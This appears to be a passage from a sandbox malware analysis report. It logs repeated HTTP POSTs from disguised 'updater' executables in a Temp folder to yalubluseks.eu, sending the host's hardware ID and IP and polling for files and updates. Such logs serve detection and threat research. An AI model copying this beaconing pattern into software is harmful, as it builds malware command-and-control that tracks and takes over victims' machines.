2024-10-03 04:52:22 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:52:23 UTC	611	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ripqdC8iy0lmec4pQUOw4pneBM3Fwm6QdHNfpI7uzq%2Bp9lpkXeJLVhuapXPkiwbPbdTpqR1pMOiA%2FEIDdgfI%2B9eGAXY%2B1P9SFfSdmcwRVpdc%2BbRLucsbUOV94515lxYVmA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca528a685042a1-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:52:23 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:52:23 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:52:23 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:52:24 UTC	613	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JzmRKuH6ikXgD7a7do%2FRE39pfQQhyTWkTtPlzBHQHinXfPTMegr9QV%2FpZw7P5CFhAEbxeMoHKh4Yt9Q4eli%2FWg9sH%2BxVOC6mjvkvhhWRKhm0ykIdDL4%2F%2FQSpAkyOqZjiXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca52912ef08cc3-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49750	104.21.54.163	443	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:52:49 UTC	167	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue Connection: Keep-Alive
2024-10-03 04:52:49 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:52:49 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:52:49 UTC	611	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LIH6v6GbKvuvFNCcONIKsZbLfIqz5fKhbqEDxCeJSSc7oaGfD7dstVIlr%2FixmNCFb%2BHN1s5fCaAMoSU8WUFOy334Zo9aDm%2B9uQB1GIJCtL9YcOakuWXRQXcZQSz%2BWYB%2BdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca5330e9c44396-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49751	104.21.54.163	443	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:52:50 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:52:50 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:52:50 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:52:50 UTC	643	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o563Oyt2h9%2BW8OJHHZt3%2BOqVcY8l0WQaIOSlOx9yS23iPdGg%2FbCmOv1i0TjWdJEzYTG7FIYXzEKc5rSd7oS%2FiiYT8HY5x2sC2l2oH9Z%2BGVsGEjmgqdRWIEHt%2B4dAeWwqcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca53384b4843d5-EWR alt-svc: h3=":443"; ma=86400 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49752	104.21.54.163	443	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:52:51 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:52:51 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:52:51 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:52:52 UTC	611	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uvJgePJ3eRDAeNfTE0xOmGcKanLnP6z1Dirq3N%2FKv50oiWUrIuGxw%2F8QdTaDB3vke5pEVB22WohIwq%2F59xpdPzFTqHXcxZwuf5tynH%2BO3kRM1p1B913zW20ugx%2BwnWYPzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca533ec99641a6-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:52:57 UTC	167	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue Connection: Keep-Alive
2024-10-03 04:52:57 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:52:57 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:52:58 UTC	611	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Cn7%2FhMg0QQB5M5R5yAl3FrYGyGFH6ubnkcCuAkfz%2FSPoyHMmRpWMfUDSUGCpgckS5wywgw2aZSccAVafr4gQHySoKKzJ7F8qK5tUvfu%2BXkxRB7yM1AxoNoNSw0bW9%2BO%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca53649855de92-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49755	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:52:58 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:52:58 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:52:58 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:52:59 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jNyNPqZRG0mM2R3DSYFy%2FRDcCzgD4PjfmnFFu6zbd8VuKgxzZI9u0NTIS9HppXMcIaG3FOpuTaet5zCTr4I7yUVAN4giKLFyW4Q%2B2s5bK0Os2Bey%2FmrXEfQVAdclA%2F6P1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca536b5e5542ca-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49756	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:52:59 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:53:00 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:00 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:53:00 UTC	605	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AZji%2B3EX9lReCaLjItoeY7gdeZBmynBzeRMjdWtanbu0L206tQwaSVTb%2FmreCn1CdHijrxdGikWMdSualQTjan5SMyrv3zDnx4dHqFUL6prhY6Nnefpmx8UYD7OP8pGhLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca53731952c33b-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49759	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:27 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:53:27 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:27 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:53:27 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XXS3i9oi4iyrkBX8JGq2V2XBJuE%2BYhZcFzgKFE51rDcltFro%2FjDLTF9vMWQxowM71wno2x6p00CV8jFq8GN3tavxx3O%2BRyPyVqgn2bWl0ga6%2Fn7zAhxz3YGSNaXlVJjpLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca541d0dbd4251-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49761	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:28 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:53:28 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:28 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:53:28 UTC	613	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dH8Fce85blfCdSgtlpl8YHgTeoq%2BcYgFeka2aCyH%2FpM%2FMkH95d%2BbUP4PaGZTjDcoVNRmjX3nxwfYVhtluHWEtNrn3QOHUl2NKyxvXDDT9%2Fwoksi2bnQ9pBvClF%2BYrcA3Hg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca54260f6f4210-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49762	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:29 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:53:29 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:29 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:53:29 UTC	605	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FG2QSM40tQoRzj2FxHrSogu7Lg26QmKqRD2VB5Su0f5vrivUDJqCjdsm0ixJMelSzpV6LvWb2SD7ceTXa42QwhrkO%2B0P4BgD0NyCesmCyetz%2FNmxAmt7trqnmGKwqBR3Hw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca542b8ea14225-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49764	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:35 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:53:35 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:35 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:53:35 UTC	639	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rhub367nuvmc8M0IAx%2BMyxtjiRyiXSSmnUfqe8fBapR8O4krb%2BicKU9ZhPi5JEsPEVFoW5THvDfyl9gKOz0in2Aywt%2BkhdePnCX7omXgs2nSZ%2BwywD85lhJTEAauaaJXmA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca544f0c6e4235-EWR alt-svc: h3=":443"; ma=86400 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49766	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:36 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:53:36 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:36 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:53:37 UTC	607	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PFpUFBdWd2sN%2BpXSkoN%2B6Ioasu6blhCHu%2BOfYOA60Yk79p6pfemHWEM0qboBF08lUXylygBZvzpQR3GUW43CnsWDWuk3V2NQU3Z4GXwNDGKNYIBfLIID5j5LvwCYrz3YLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca54583d870c7c-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49767	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:37 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:53:37 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:37 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:53:37 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zJYfMYrT2TqpOJD9QCbQxicta61T%2B%2BbHywmhz9IH2oPINwgVUMpEqDZ8yvMEfVQ7FIkhtcDI9lUJSUe24J2Y%2FRrVU8%2B3TTH7AMUCKXOaD69ezq1Gsjxx8L4HcR1j7ExhGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca545dbf6943d3-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49769	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:40 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:53:40 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:40 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:53:41 UTC	613	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IMXtXLz0%2BzS%2FETU4sd2CkU9IvFloRut5jmd81mYRAapuLnW6J%2BfRm6R7XhexW8tizTENncCku%2FNYzgLswf1P%2FWWCab942eRBCJ6%2BXKftl9s2aW1wC9yQVbrTcnA3g33nwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca54728b1d7295-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49771	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:42 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:53:42 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:42 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:53:42 UTC	605	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rank0DOxyQcH1RA7HSQiHfM3TnqkvOoaYECaKaVkkhe2JqklHQWq8mUF8i1mlOl7yGjfvX%2BcHZujUjewNsuPrDLDwEhnzRjj2wDVMG1p1yMhVLwnojfJTL48MnE2Qtv%2Btw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca547c1e795e7e-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49772	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:43 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:53:43 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:53:43 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:53:43 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=23bgBw%2FVlbCTcgrwHFpnOszIrv0YkL2YyiYFLVBt7KCT5rd1IrrVq8Dagk1wSbV%2BFWoo5yLOK39ZKUig586rn%2BrmGLEem2EOimV1%2BJ6GQD0qpfkyPoClEOtax8F2wv6psA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca54812b18b9c5-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49774	104.21.54.163	443	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:04 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:54:04 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:04 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
